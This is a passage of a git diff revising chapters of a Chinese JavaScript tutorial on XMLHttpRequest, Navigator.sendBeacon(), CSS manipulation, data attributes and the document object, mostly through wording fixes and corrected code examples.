+上面代码中，`requestIdleCallback()`用来执行非关键任务`myNonEssentialWork`。该任务先确认本次空闲时段有剩余时间，然后才真正开始执行任务。
+
+下面是指定`timeout`的例子。
+
+```javascript
+requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });
+```
+
+上面代码指定，`processPendingAnalyticsEvents`必须在未来2秒之内执行。
+
+如果由于超时导致回调函数执行，则`deadline.timeRemaining()`返回`0`，`deadline.didTimeout`返回`true`。
+
+如果多次执行`window.requestIdleCallback()`，指定多个回调函数，那么这些回调函数将排成一个队列，按照先进先出的顺序执行。
+
 ## 事件
 
 `window`对象可以接收以下事件。
diff --git a/docs/bom/xmlhttprequest.md b/docs/bom/xmlhttprequest.md
index 7e2f1ff..66f662c 100644
--- a/docs/bom/xmlhttprequest.md
+++ b/docs/bom/xmlhttprequest.md
@@ -23,18 +23,18 @@
 var xhr = new XMLHttpRequest();
 ```
 
-一旦新建实例，就可以使用`open()`方法发出 HTTP 请求。
+一旦新建实例，就可以使用`open()`方法指定建立 HTTP 连接的一些细节。
 
 ```javascript
 xhr.open('GET', 'http://www.example.com/page.php', true);
 ```
 
-上面代码向指定的服务器网址，发出 GET 请求。
+上面代码指定使用 GET 方法，跟指定的服务器网址建立连接。第三个参数`true`，表示请求是异步的。
 
 然后，指定回调函数，监听通信状态（`readyState`属性）的变化。
 
 ```javascript
-ajax.onreadystatechange = handleStateChange;
+xhr.onreadystatechange = handleStateChange;
 
 function handleStateChange() {
   // ...
@@ -43,6 +43,14 @@ function handleStateChange() {
 
 上面代码中，一旦`XMLHttpRequest`实例的状态发生变化，就会调用监听函数`handleStateChange`
 
+最后使用`send()`方法，实际发出请求。
+
+```javascript
+xhr.send(null);
+```
+
+上面代码中，`send()`的参数为`null`，表示发送请求的时候，不带有数据体。如果发送的是 POST 请求，这里就需要指定数据体。
+
 一旦拿到服务器返回的数据，AJAX 不会刷新整个网页，而是只更新网页里面的相关部分，从而不打断用户正在做的事情。
 
 注意，AJAX 只能向同源网址（协议、域名、端口都相同）发出 HTTP 请求，如果发出跨域请求，就会报错（详见《同源政策》和《CORS 通信》两章）。
@@ -95,7 +103,7 @@ if (xhr.readyState === 4) {
 }
 ```
 
-上面代码中，`xhr.readyState`等于`4`时，表明脚本发出的 HTTP 请求已经成功。其他情况，都表示 HTTP 请求还在进行中。
+上面代码中，`xhr.readyState`等于`4`时，表明脚本发出的 HTTP 请求已经完成。其他情况，都表示 HTTP 请求还在进行中。
 
 ### XMLHttpRequest.onreadystatechange
 
@@ -135,7 +143,7 @@ xhr.onreadystatechange = function () {
 
 ### XMLHttpRequest.responseType
 
-`XMLHttpRequest.responseType`属性是一个字符串，表示服务器返回数据的类型。这个属性是可写的，可以在调用`open()`方法之后、调用`send()`方法之前，设置这个属性的值，告诉服务器返回指定类型的数据。如果`responseType`设为空字符串，就等同于默认值`text`。
+`XMLHttpRequest.responseType`属性是一个字符串，表示服务器返回数据的类型。这个属性是可写的，可以在调用`open()`方法之后、调用`send()`方法之前，设置这个属性的值，告诉浏览器如何解读返回的数据。如果`responseType`设为空字符串，就等同于默认值`text`。
 
 `XMLHttpRequest.responseType`属性可以等于以下值。
 
@@ -173,7 +181,7 @@ xhr.responseType = 'arraybuffer';
 
 xhr.onload = function(e) {
   var uInt8Array = new Uint8Array(this.response);
-  for (var i = 0, len = binStr.length; i < len; ++i) {
+  for (var i = 0, len = uInt8Array.length; i < len; ++i) {
     // var byte = uInt8Array[i];
   }
 };
@@ -247,7 +255,7 @@ xhr.send(null);
 
 - 200, OK，访问正常
 - 301, Moved Permanently，永久移动
-- 302, Move temporarily，暂时移动
+- 302, Moved temporarily，暂时移动
 - 304, Not Modified，未修改
 - 307, Temporary Redirect，暂时重定向
 - 401, Unauthorized，未授权
@@ -268,7 +276,7 @@ if (xhr.readyState === 4) {
 }
 ```
 
-`XMLHttpRequest.statusText`属性返回一个字符串，表示服务器发送的状态提示。不同于`status`属性，该属性包含整个状态信息，比如“OK”和“Not Found”。在请求发送之前（即调用`open()`方法之前），该属性的值是空字符串；如果服务器没有返回状态提示，该属性的值默认为"“OK”。该属性为只读属性。
+`XMLHttpRequest.statusText`属性返回一个字符串，表示服务器发送的状态提示。不同于`status`属性，该属性包含整个状态信息，比如“OK”和“Not Found”。在请求发送之前（即调用`open()`方法之前），该属性的值是空字符串；如果服务器没有返回状态提示，该属性的值默认为“OK”。该属性为只读属性。
 
 ### XMLHttpRequest.timeout，XMLHttpRequestEventTarget.ontimeout
 
@@ -345,7 +353,7 @@ xhr.onerror = function() {
 
 `XMLHttpRequest.withCredentials`属性是一个布尔值，表示跨域请求时，用户信息（比如 Cookie 和认证的 HTTP 头信息）是否会包含在请求之中，默认为`false`，即向`example.com`发出跨域请求时，不会发送`example.com`设置在本机上的 Cookie（如果有的话）。
 
-如果需要跨域 AJAX 请求发送Cookie，需要`withCredentials`属性设为`true`。注意，同源的请求不需要设置这个属性。
+如果需要跨域 AJAX 请求发送 Cookie，需要`withCredentials`属性设为`true`。注意，同源的请求不需要设置这个属性。
 
 ```javascript
 var xhr = new XMLHttpRequest();
@@ -430,7 +438,7 @@ xhr.open('POST', encodeURI('someURL'));
 
 ### XMLHttpRequest.send()
 
-`XMLHttpRequest.send()`方法用于实际发出 HTTP 请求。它的参数是可选的，如果不带参数，就表示 HTTP 请求只包含头信息，也就是只有一个 URL，典型例子就是 GET 请求；如果带有参数，就表示除了头信息，还带有包含具体数据的信息体，典型例子就是 POST 请求。
+`XMLHttpRequest.send()`方法用于实际发出 HTTP 请求。它的参数是可选的，如果不带参数，就表示 HTTP 请求只有一个 URL，没有数据体，典型例子就是 GET 请求；如果带有参数，就表示除了头信息，还带有包含具体数据的信息体，典型例子就是 POST 请求。
 
 下面是 GET 请求的例子。
 
@@ -441,14 +449,9 @@ xhr.open('GET',
   true
 );
 xhr.send(null);
-
-// 等同于
-var data = 'id=' + encodeURIComponent(id);
-xhr.open('GET', 'http://www.example.com', true);
-xhr.send(data);
 ```
 
-上面代码中，`GET`请求的参数，可以作为查询字符串附加在 URL 后面，也可以作为`send`方法的参数。
+上面代码中，`GET`请求的参数，作为查询字符串附加在 URL 后面。
 
 下面是发送 POST 请求的例子。
 
@@ -477,7 +480,7 @@ void send(String data);
 void send(FormData data);
 ```
 
-如果发送 DOM 对象，在发送之前，数据会先被串行化。发送二进制数据，最好使用`ArrayBufferView`或`Blob`对象，这使得通过 Ajax 上传文件成为可能。
+如果`send()`发送 DOM 对象，在发送之前，数据会先被串行化。如果发送二进制数据，最好是发送`ArrayBufferView`或`Blob`对象，这使得通过 Ajax 上传文件成为可能。
 
 下面是发送表单数据的例子。`FormData`对象可以用于构造表单数据。
 
@@ -489,11 +492,11 @@ formData.append('email', 'zhangsan@example.com');
 formData.append('birthDate', 1940);
 
 var xhr = new XMLHttpRequest();
-xhr.open("POST", "/register");
+xhr.open('POST', '/register');
 xhr.send(formData);
 ```
 
-上面代码`FormData`对象构造了表单数据，然后使用`send()`方法发送。它的效果与发送下面的表单数据是一样的。
+上面代码中，`FormData`对象构造了表单数据，然后使用`send()`方法发送。它的效果与发送下面的表单数据是一样的。
 
 ```html
 <form id='registration' name='registration' action='/register'>
@@ -654,7 +657,7 @@ setTimeout(function () {
 
 ### progress 事件
 
-上传文件时，XMLHTTPRequest 实例对象本身和实例的`upload`属性，都有一个`progress`事件，会不断返回上传的进度。
+上传文件时，XMLHttpRequest 实例对象本身和实例的`upload`属性，都有一个`progress`事件，会不断返回上传的进度。
 
 ```javascript
 var xhr = new XMLHttpRequest();
@@ -716,39 +719,72 @@ function loadEnd(e) {
 
 ## Navigator.sendBeacon()
 
-用户卸载网页的时候，有时需要向服务器发一些数据。很自然的做法是在`unload`事件或`beforeunload`事件的监听函数里面，使用`XMLhttpRequest`对象发送数据。但是，这样做不是很可靠，因为`XMLhttpRequest`对象是异步发送，很可能在它即将发送的时候，页面已经卸载了，从而导致发送取消或者发送失败。
+用户卸载网页的时候，有时需要向服务器发一些数据。很自然的做法是在`unload`事件或`beforeunload`事件的监听函数里面，使用`XMLHttpRequest`对象发送数据。但是，这样做不是很可靠，因为`XMLHttpRequest`对象是异步发送，很可能在它即将发送的时候，页面已经卸载了，从而导致发送取消或者发送失败。
 
-解决方法就是 AJAX 通信改成同步发送，即只有发送完成，页面才能卸载。但是，很多浏览器已经不支持同步的 XMLHttpRequest 对象了（即`open()`方法的第三个参数为`false`）。
+解决方法就是`unload`事件里面，加一些很耗时的同步操作。这样就能留出足够的时间，保证异步 AJAX 能够发送成功。
 
 ```javascript
-window.addEventListener('unload', logData, false);
-
-function logData() {
-  var client = new XMLHttpRequest();
-  // 第三个参数表示同步发送
-  client.open('POST', '/log', false);
-  client.setRequestHeader('Content-Type', 'text/plain;charset=UTF-8');
-  client.send(analyticsData);
+function log() {
+  let xhr = new XMLHttpRequest();
+  xhr.open('post', '/log', true);
+  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+  xhr.send('foo=bar');
 }
+
+window.addEventListener('unload', function(event) {
+  log();
+
+  // a time-consuming operation
+  for (let i = 1; i < 10000; i++) {
+    for (let m = 1; m < 10000; m++) { continue; }
+  }
+});
 ```
 
-上面代码指定`XMLHttpRequest`同步发送，很多浏览器都已经不支持这种写法。
+上面代码中，强制执行了一次双重循环，拖长了`unload`事件的执行时间，导致异步 AJAX 能够发送成功。
 
-同步通信有几种变通的方法。一种做法是新建一个`<img>`元素，数据放在`src`属性，作为 URL 的查询字符串，这时浏览器会等待图片加载完成（服务器回应），再进行卸载。另一种做法是创建一个循环，规定执行时间为几秒钟，在这几秒钟内把数据发出去，然后再卸载页面。
+类似的还可以使用`setTimeout()`。下面是追踪用户点击的例子。
+
+```javascript
+// HTML 代码如下
+// <a id="target" href="https://baidu.com">click</a>
+const clickTime = 350;
+const theLink = document.getElementById('target');
+
+function log() {
+  let xhr = new XMLHttpRequest();
+  xhr.open('post', '/log', true);
+  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+  xhr.send('foo=bar');
+}
+
+theLink.addEventListener('click', function (event) {
+  event.preventDefault();
+  log();
+
+  setTimeout(function () {
+    window.location.href = theLink.getAttribute('href');
+  }, clickTime);
+});
+```
+
+上面代码使用`setTimeout()`，拖延了350毫秒，才让页面跳转，因此使得异步 AJAX 有时间发出。
 
 这些做法的共同问题是，卸载的时间被硬生生拖长了，后面页面的加载被推迟了，用户体验不好。
 
-为了解决这个问题，浏览器引入了`Navigator.sendBeacon()`方法。这个方法还是异步发出请求，但是请求与当前页面脱钩，作为浏览器的任务，因此可以保证会把数据发出去，不拖延卸载流程。
+为了解决这个问题，浏览器引入了`Navigator.sendBeacon()`方法。这个方法还是异步发出请求，但是请求与当前页面线程脱钩，作为浏览器进程的任务，因此可以保证会把数据发出去，不拖延卸载流程。
 
 ```javascript
 window.addEventListener('unload', logData, false);
 
 function logData() {
-  navigator.sendBeacon('/log', analyticsData);
+  navigator.sendBeacon('/log', JSON.stringify({
+    some: "data"
+  }));
 }
 ```
 
-`Navigator.sendBeacon`方法接受两个参数，第一个参数是目标服务器的 URL，第二个参数是所要发送的数据（可选），可以是任意类型（字符串、表单对象、二进制对象等等）。
+`Navigator.sendBeacon()`方法接受两个参数，第一个参数是目标服务器的 URL，第二个参数是所要发送的数据（可选），可以是任意类型（字符串、表单对象、二进制对象等等）。
 
 ```javascript
 navigator.sendBeacon(url, data)
@@ -772,3 +808,16 @@ function analytics(state) {
   navigator.sendBeacon(URL, data);
 }
 ```
+
+该方法不允许自定义 HTTP 标头，为了以“application/json”的形式发送数据，可以使用 Blob 对象。
+
+```javascript
+const blob = new Blob(
+  [ JSON.stringify({ some: "data" }) ],
+  { type: 'application/json; charset=UTF-8' }
+);
+navigator.sendBeacon('/log', blob));
+```
+
+这个方法的优先级较低，不会占用页面资源。一般是在浏览器空闲的时候，才会发送。
+
diff --git a/docs/dom/attributes.md b/docs/dom/attributes.md
index aad28ee..2a16736 100644
--- a/docs/dom/attributes.md
+++ b/docs/dom/attributes.md
@@ -258,4 +258,3 @@ delete document.getElementById('myDiv').dataset.foo;
 注意，`data-`后面的属性名有限制，只能包含字母、数字、连词线（`-`）、点（`.`）、冒号（`:`）和下划线（`_`)。而且，属性名不应该使用`A`到`Z`的大写字母，比如不能有`data-helloWorld`这样的属性名，而要写成`data-hello-world`。
 
 转成`dataset`的键名时，连词线后面如果跟着一个小写字母，那么连词线会被移除，该小写字母转为大写字母，其他字符不变。反过来，`dataset`的键名转成属性名时，所有大写字母都会被转成连词线+该字母的小写形式，其他字符不变。比如，`dataset.helloWorld`会转成`data-hello-world`。
-
diff --git a/docs/dom/css.md b/docs/dom/css.md
index c94129a..b4f1a2d 100644
--- a/docs/dom/css.md
+++ b/docs/dom/css.md
@@ -1,10 +1,10 @@
 # CSS 操作
 
-CSS 与 JavaScript 是两个有着明确分工的领域，前者负责页面的视觉效果，后者负责与用户的行为互动。但是，它们毕竟同属网页开发的前端，因此不可避免有着交叉和互相配合。本节介绍如何通过 JavaScript 操作 CSS。
+CSS 与 JavaScript 是两个有着明确分工的领域，前者负责页面的视觉效果，后者负责与用户的行为互动。但是，它们毕竟同属网页开发的前端，因此不可避免有着交叉和互相配合。本章介绍如何通过 JavaScript 操作 CSS。
 
 ## HTML 元素的 style 属性
 
-操作 CSS 样式最简单的方法，就是使用网页元素节点的`getAttribute`方法、`setAttribute`方法和`removeAttribute`方法，直接读写或删除网页元素的`style`属性。
+操作 CSS 样式最简单的方法，就是使用网页元素节点的`getAttribute()`方法、`setAttribute()`方法和`removeAttribute()`方法，直接读写或删除网页元素的`style`属性。
 
 ```javascript
 div.setAttribute(
@@ -19,6 +19,13 @@ div.setAttribute(
 <div style="background-color:red; border:1px solid black;" />
 ```
 
+`style`不仅可以使用字符串读写，它本身还是一个对象，部署了 CSSStyleDeclaration 接口（详见下面的介绍），可以直接读写个别属性。
+
+```javascript
+e.style.fontSize = '18px';
+e.style.color = 'black';
+```
+
 ## CSSStyleDeclaration 接口
 
 ### 简介
@@ -82,11 +89,11 @@ divStyle.cssText = '';
 ```javascript
 // HTML 代码如下
 // <div id="myDiv"
-//   style="margin: 0 10px; background-color: #CA1; border: 1px solid red;"
+//   style="height: 1px;width: 100%;background-color: #CA1;"
 // ></div>
 var myDiv = document.getElementById('myDiv');
 var divStyle = myDiv.style;
-divStyles.length // 3
+divStyle.length // 3
 ```
 
 上面代码中，`myDiv`元素的行内样式共包含3条样式规则。
@@ -285,7 +292,7 @@ CSS.supports('display: table-cell;') // false
 
 行内样式（inline style）具有最高的优先级，改变行内样式，通常会立即反映出来。但是，网页元素最终的样式是综合各种规则计算出来的。因此，如果想得到元素实际的样式，只读取行内样式是不够的，需要得到浏览器最终计算出来的样式规则。
 
-`window.getComputedStyle`方法，就用来返回浏览器计算后得到的最终规则。它接受一个节点对象作为参数，返回一个 CSSStyleDeclaration  实例，包含了指定节点的最终样式信息。所谓“最终样式信息”，指的是各种 CSS 规则叠加后的结果。
+`window.getComputedStyle()`方法，就用来返回浏览器计算后得到的最终规则。它接受一个节点对象作为参数，返回一个 CSSStyleDeclaration 实例，包含了指定节点的最终样式信息。所谓“最终样式信息”，指的是各种 CSS 规则叠加后的结果。
 
 ```javascript
 var div = document.querySelector('div');
@@ -318,10 +325,10 @@ var height = styleObj.getPropertyValue('height');
 
 有几点需要注意。
 
--  CSSStyleDeclaration 实例返回的 CSS 值都是绝对单位。比如，长度都是像素单位（返回值包括`px`后缀），颜色是`rgb(#, #, #)`或`rgba(#, #, #, #)`格式。
+- CSSStyleDeclaration 实例返回的 CSS 值都是绝对单位。比如，长度都是像素单位（返回值包括`px`后缀），颜色是`rgb(#, #, #)`或`rgba(#, #, #, #)`格式。
 - CSS 规则的简写形式无效。比如，想读取`margin`属性的值，不能直接读，只能读`marginLeft`、`marginTop`等属性；再比如，`font`属性也是不能直接读的，只能读`font-size`等单个属性。
 - 如果读取 CSS 原始的属性名，要用方括号运算符，比如`styleObj['z-index']`；如果读取骆驼拼写法的 CSS 属性名，可以直接读取`styleObj.zIndex`。
-- 该方法返回的 CSSStyleDeclaration 实例的`cssText`属性无效，返回`undefined`。
+- 该方法返回的 CSSStyleDeclaration 实例的`cssText`属性总是返回空字符串。
 
 ## CSS 伪元素
 
@@ -382,6 +389,8 @@ var myStyleSheet = document.getElementById('myStyle').sheet;
 myStyleSheet instanceof StyleSheet // true
 ```
 
+严格地说，`StyleSheet`接口不仅包括网页样式表，还包括 XML 文档的样式表。所以，它有一个子类`CSSStyleSheet`表示网页的 CSS 样式表。我们在网页里面拿到的样式表实例，实际上是`CSSStyleSheet`的实例。这个子接口继承了`StyleSheet`的所有属性和方法，并且定义了几个自己的属性，下面把这两个接口放在一起介绍。
+
 ### 实例属性
 
 `StyleSheet`实例有以下属性。
@@ -392,9 +401,9 @@ myStyleSheet instanceof StyleSheet // true
 
 注意，`disabled`属性只能在 JavaScript 脚本中设置，不能在 HTML 语句中设置。
 
-**（2）Stylesheet.href**
+**（2）StyleSheet.href**
 
-`Stylesheet.href`返回样式表的网址。对于内嵌样式表，该属性返回`null`。该属性只读。
+`StyleSheet.href`返回样式表的网址。对于内嵌样式表，该属性返回`null`。该属性只读。
 
 ```javascript
 document.styleSheets[0].href
@@ -450,9 +459,9 @@ if (stylesheet.parentStyleSheet) {
 document.styleSheets[0].ownerNode // [object HTMLLinkElement]
 ```
 
-**（8）StyleSheet.cssRules**
+**（8）CSSStyleSheet.cssRules**
 
-`StyleSheet.cssRules`属性指向一个类似数组的对象（`CSSRuleList`实例），里面每一个成员就是当前样式表的一条 CSS 规则。使用该规则的`cssText`属性，可以得到 CSS 规则对应的字符串。
+`CSSStyleSheet.cssRules`属性指向一个类似数组的对象（`CSSRuleList`实例），里面每一个成员就是当前样式表的一条 CSS 规则。使用该规则的`cssText`属性，可以得到 CSS 规则对应的字符串。
 
 ```javascript
 var sheet = document.querySelector('#styleElement').sheet;
@@ -467,11 +476,11 @@ sheet.cssRules[1].cssText
 每条 CSS 规则还有一个`style`属性，指向一个对象，用来读写具体的 CSS 命令。
 
 ```javascript
-styleSheet.cssRules[0].style.color = 'red';
-styleSheet.cssRules[1].style.color = 'purple';
+cssStyleSheet.cssRules[0].style.color = 'red';
+cssStyleSheet.cssRules[1].style.color = 'purple';
 ```
 
-**（9）StyleSheet.ownerRule**
+**（9）CSSStyleSheet.ownerRule**
 
 有些样式表是通过`@import`规则输入的，它的`ownerRule`属性会返回一个`CSSRule`实例，代表那行`@import`规则。如果当前样式表不是通过`@import`引入的，`ownerRule`属性返回`null`。
 
@@ -740,14 +749,16 @@ styleSheet.cssRules[0].conditionText
 
 ### 基本用法
 
-`window.matchMedia`方法用来将 CSS 的[`MediaQuery`](https://developer.mozilla.org/en-US/docs/DOM/Using_media_queries_from_code)条件语句，转换成一个 MediaQueryList 实例。
+`window.matchMedia()`方法用来将 CSS 的[`Media Query`](https://developer.mozilla.org/en-US/docs/DOM/Using_media_queries_from_code)条件语句，转换成一个 MediaQueryList 实例。
 
 ```javascript
 var mdl = window.matchMedia('(min-width: 400px)');
 mdl instanceof MediaQueryList // true
 ```
 
-注意，如果参数不是有效的`MediaQuery`条件语句，`window.matchMedia`不会报错，依然返回的一个 MediaQueryList 实例。
+上面代码中，变量`mdl`就是 mediaQueryList 的实例。
+
+注意，如果参数不是有效的`MediaQuery`条件语句，`window.matchMedia`不会报错，依然返回一个 MediaQueryList 实例。
 
 ```javascript
 window.matchMedia('bad string') instanceof MediaQueryList // true
@@ -809,7 +820,7 @@ mql.onchange = function(e) {
 }
 ```
 
-上面代码中，`change`事件发生后，存在两种可能。一种是显示宽度从700像素以上变为以下，另一种是从700像素以下变为以上，所以在监听函数内部要判断一下当前是哪一种情况。
+上面代码中，`change`事件发生后，存在两种可能。一种是显示宽度从600像素以上变为以下，另一种是从600像素以下变为以上，所以在监听函数内部要判断一下当前是哪一种情况。
 
 ### MediaQueryList 接口的实例方法
 
@@ -833,3 +844,5 @@ function mqCallback(e) {
 }
 ```
 
+注意，`MediaQueryList.removeListener()`方法不能撤销`MediaQueryList.onchange`属性指定的监听函数。
+
diff --git a/docs/dom/document.md b/docs/dom/document.md
index 75b716b..7af7f3a 100644
--- a/docs/dom/document.md
+++ b/docs/dom/document.md
@@ -2,7 +2,7 @@
 
 ## 概述
 
-`document`节点对象是文档的根节点，每张网页都有自己的`document`对象。`window.document`属性就指向这个对象。只要浏览器开始载入 HTML 文档，该对象就存在了，可以直接使用。
+`document`节点对象代表整个文档，每张网页都有自己的`document`对象。`window.document`属性就指向这个对象。只要浏览器开始载入 HTML 文档，该对象就存在了，可以直接使用。
 
 `document`对象有不同的办法可以获取。
 
@@ -11,7 +11,7 @@
 - Ajax 操作返回的文档，使用`XMLHttpRequest`对象的`responseXML`属性。
 - 内部节点的`ownerDocument`属性。
 
-`document`对象继承了`EventTarget`接口、`Node`接口、`ParentNode`接口。这意味着，这些接口的方法都可以在`document`对象上调用。除此之外，`document`对象还有很多自己的属性和方法。
+`document`对象继承了`EventTarget`接口和`Node`接口，并且混入（mixin）了`ParentNode`接口。这意味着，这些接口的方法都可以在`document`对象上调用。除此之外，`document`对象还有很多自己的属性和方法。
 
 ## 属性
 
@@ -41,7 +41,7 @@ doctype.name // "html"
 
 **（3）document.documentElement**
 
-`document.documentElement`属性返回当前文档的根节点（root）。它通常是`document`节点的第二个子节点，紧跟在`document.doctype`节点后面。HTML网页的该属性，一般是`<html>`节点。
+`document.documentElement`属性返回当前文档的根元素节点（root）。它通常是`document`节点的第二个子节点，紧跟在`document.doctype`节点后面。HTML网页的该属性，一般是`<html>`节点。
 
 **（4）document.body，document.head**
 
@@ -69,7 +69,10 @@ document.scrollingElement.scrollTop = 0;
 `document.fullscreenElement`属性返回当前以全屏状态展示的 DOM 元素。如果不是全屏状态，该属性返回`null`。
 
 ```javascript
-if (document.fullscreenElement.nodeName == 'VIDEO') {
+if (
+  document.fullscreenElement && 
+  document.fullscreenElement.nodeName == 'VIDEO'
+) {
   console.log('全屏播放视频');
 }
 ```
@@ -145,11 +148,11 @@ if (scripts.length !== 0 ) {
 
 **（6）document.styleSheets**
 
-`document.styleSheets`属性返回文档内嵌或引入的样式表集合，详细介绍请看《CSS 对象模型》一章。
+`document.styleSheets`属性返回网页内嵌或引入的 CSS 样式表集合，详细介绍请看《CSS 操作》一章。
 
 **（7）小结**
 
-除了`document.styleSheets`，以上的集合属性返回的都是`HTMLCollection`实例。
+除了`document.styleSheets`属性，以上的其他集合属性返回的都是`HTMLCollection`实例。`document.styleSheets`属性返回的是`StyleSheetList`实例。
 
 ```javascript
 document.links instanceof HTMLCollection // true
@@ -159,7 +162,7 @@ document.embeds instanceof HTMLCollection // true
 document.scripts instanceof HTMLCollection // true
 ```
 
-`HTMLCollection`实例是类似数组的对象，所以这些属性都有`length`属性，都可以使用方括号运算符引用成员。如果成员有`id`或`name`属性，还可以用这两个属性的值，在`HTMLCollection`实例上引用到这个成员。
+`HTMLCollection`实例是类似数组的对象，所以上面这些属性都有`length`属性，都可以使用方括号运算符引用成员。如果成员有`id`或`name`属性，还可以用这两个属性的值，在`HTMLCollection`实例上引用到这个成员。
 
 ```javascript
 // HTML 代码如下
@@ -187,7 +190,7 @@ document.documentURI === document.URL
 
 **（2）document.domain**
 
-`document.domain`属性返回当前文档的域名，不包含协议和接口。比如，网页的网址是`http://www.example.com:80/hello.html`，那么`domain`属性就等于`www.example.com`。如果无法获取域名，该属性返回`null`。
+`document.domain`属性返回当前文档的域名，不包含协议和端口。比如，网页的网址是`http://www.example.com:80/hello.html`，那么`document.domain`属性就等于`www.example.com`。如果无法获取域名，该属性返回`null`。
 
 `document.domain`基本上是一个只读属性，只有一种情况除外。次级域名的网页，可以把`document.domain`设为对应的上级域名。比如，当前域名是`a.sub.example.com`，则`document.domain`属性可以设置为`sub.example.com`，也可以设为`example.com`。修改后，`document.domain`相同的两个网页，可以读取对方的资源，比如设置的 Cookie。
 
@@ -269,10 +272,10 @@ document.referrer
 
 它的值有四种可能。
 
-- visible：页面可见。注意，页面可能是部分可见，即不是焦点窗口，前面被其他窗口部分挡住了。
-- hidden： 页面不可见，有可能窗口最小化，或者浏览器切换到了另一个 Tab。
-- prerender：页面处于正在渲染状态，对于用于来说，该页面不可见。
-- unloaded：页面从内存里面卸载了。
+> - `visible`：页面可见。注意，页面可能是部分可见，即不是焦点窗口，前面被其他窗口部分挡住了。
+> - `hidden`：页面不可见，有可能窗口最小化，或者浏览器切换到了另一个 Tab。
+> - `prerender`：页面处于正在渲染状态，对于用户来说，该页面不可见。
+> - `unloaded`：页面从内存里面卸载了。
 
 这个属性可以用在页面加载时，防止加载某些资源；或者页面不可见时，停掉一些页面功能。
 
@@ -316,7 +319,7 @@ var interval = setInterval(function() {
 
 ### document.designMode
 
-`document.designMode`属性控制当前文档是否可编辑，通常用在所见即所得编辑器。该属性只有两个值`on`和`off`，默认值为`off`。
+`document.designMode`属性控制当前文档是否可编辑。该属性只有两个值`on`和`off`，默认值为`off`。一旦设为`on`，用户就可以编辑整个文档的内容。
 
 下面代码打开`iframe`元素内部文档的`designMode`属性，就能将其变为一个所见即所得的编辑器。
 
@@ -327,6 +330,20 @@ var editor = document.getElementById('editor');
 editor.contentDocument.designMode = 'on';
 ```
 
+### document.currentScript
+
+`document.currentScript`属性只用在`<script>`元素的内嵌脚本或加载的外部脚本之中，返回当前脚本所在的那个 DOM 节点，即`<script>`元素的 DOM 节点。
+
+```html
+<script id="foo">
+  console.log(
+    document.currentScript === document.getElementById('foo')
+  ); // true
+</script>
+```
+
+上面代码中，`document.currentScript`就是`<script>`元素节点。
+
 ### document.implementation
 
 `document.implementation`属性返回一个`DOMImplementation`对象。该对象有三个方法，主要用于创建独立于当前文档的新的 Document 对象。
@@ -349,7 +366,7 @@ document.replaceChild(
 );
 ```
 
-上面代码中，第一步生成一个新的 HTML 文档`doc`，然后用它的根元素`document.documentElement`替换掉`document.documentElement`。这会使得当前文档的内容全部消失，变成`hello world`。
+上面代码中，第一步生成一个新的 HTML 文档`doc`，然后用它的根元素`doc.documentElement`替换掉`document.documentElement`。这会使得当前文档的内容全部消失，变成`hello world`。
 
 ## 方法
 
@@ -417,7 +434,7 @@ hello
 
 在浏览器打开上面网页，将会显示`hello world`。
 
-`document.write`是JavaScript语言标准化之前就存在的方法，现在完全有更符合标准的方法向文档写入内容（比如对`innerHTML`属性赋值）。所以，除了某些特殊情况，应该尽量避免使用`document.write`这个方法。
+`document.write`是 JavaScript 语言标准化之前就存在的方法，现在完全有更符合标准的方法向文档写入内容（比如对`innerHTML`属性赋值）。所以，除了某些特殊情况，应该尽量避免使用`document.write`这个方法。
 
 `document.writeln`方法与`write`方法完全一致，除了会在输出内容的尾部添加换行符。
 
@@ -482,7 +499,7 @@ document.querySelectorAll('DIV, A, SCRIPT');
 
 ### document.getElementsByTagName()
 
-`document.getElementsByTagName`方法搜索 HTML 标签名，返回符合条件的元素。它的返回值是一个类似数组对象（`HTMLCollection`实例），可以实时反映 HTML 文档的变化。如果没有任何匹配的元素，就返回一个空集。
+`document.getElementsByTagName()`方法搜索 HTML 标签名，返回符合条件的元素。它的返回值是一个类似数组对象（`HTMLCollection`实例），可以实时反映 HTML 文档的变化。如果没有任何匹配的元素，就返回一个空集。
 
 ```javascript
 var paras = document.getElementsByTagName('p');
@@ -491,7 +508,7 @@ paras instanceof HTMLCollection // true
 
 上面代码返回当前文档的所有`p`元素节点。
 
-HTML 标签名是大小写不敏感的，因此`getElementsByTagName`方法也是大小写不敏感的。另外，返回结果中，各个成员的顺序就是它们在文档中出现的顺序。
+HTML 标签名是大小写不敏感的，因此`getElementsByTagName()`方法的参数也是大小写不敏感的。另外，返回结果中，各个成员的顺序就是它们在文档中出现的顺序。
 
 如果传入`*`，就可以返回文档中所有 HTML 元素。
 
@@ -510,7 +527,7 @@ var spans = firstPara.getElementsByTagName('span');
 
 ### document.getElementsByClassName()
 
-`document.getElementsByClassName`方法返回一个类似数组的对象（`HTMLCollection`实例），包括了所有`class`名字符合指定条件的元素，元素的变化实时反映在返回结果中。
+`document.getElementsByClassName()`方法返回一个类似数组的对象（`HTMLCollection`实例），包括了所有`class`名字符合指定条件的元素，元素的变化实时反映在返回结果中。
 
 ```javascript
 var elements = document.getElementsByClassName(names);
@@ -528,7 +545,7 @@ var elements = document.getElementsByClassName('foo bar');
 
 注意，正常模式下，CSS 的`class`是大小写敏感的。（`quirks mode`下，大小写不敏感。）
 
-与`getElementsByTagName`方法一样，`getElementsByClassName`方法不仅可以在`document`对象上调用，也可以在任何元素节点上调用。
+与`getElementsByTagName()`方法一样，`getElementsByClassName()`方法不仅可以在`document`对象上调用，也可以在任何元素节点上调用。
 
 ```javascript
 // 非document对象上调用
@@ -537,7 +554,7 @@ var elements = rootElement.getElementsByClassName(names);
 
 ### document.getElementsByName()
 
-`document.getElementsByName`方法用于选择拥有`name`属性的 HTML 元素（比如`<form>`、`<radio>`、`<img>`、`<frame>`、`<embed>`和`<object>`等），返回一个类似数组的的对象（`NodeList`实例），因为`name`属性相同的元素可能不止一个。
+`document.getElementsByName()`方法用于选择拥有`name`属性的 HTML 元素（比如`<form>`、`<radio>`、`<img>`、`<frame>`、`<embed>`和`<object>`等），返回一个类似数组的的对象（`NodeList`实例），因为`name`属性相同的元素可能不止一个。
 
 ```javascript
 // 表单为 <form name="x"></form>
@@ -547,7 +564,7 @@ forms[0].tagName // "FORM"
 
 ### document.getElementById()
 
-`document.getElementById`方法返回匹配指定`id`属性的元素节点。如果没有发现匹配的节点，则返回`null`。
+`document.getElementById()`方法返回匹配指定`id`属性的元素节点。如果没有发现匹配的节点，则返回`null`。
 
 ```javascript
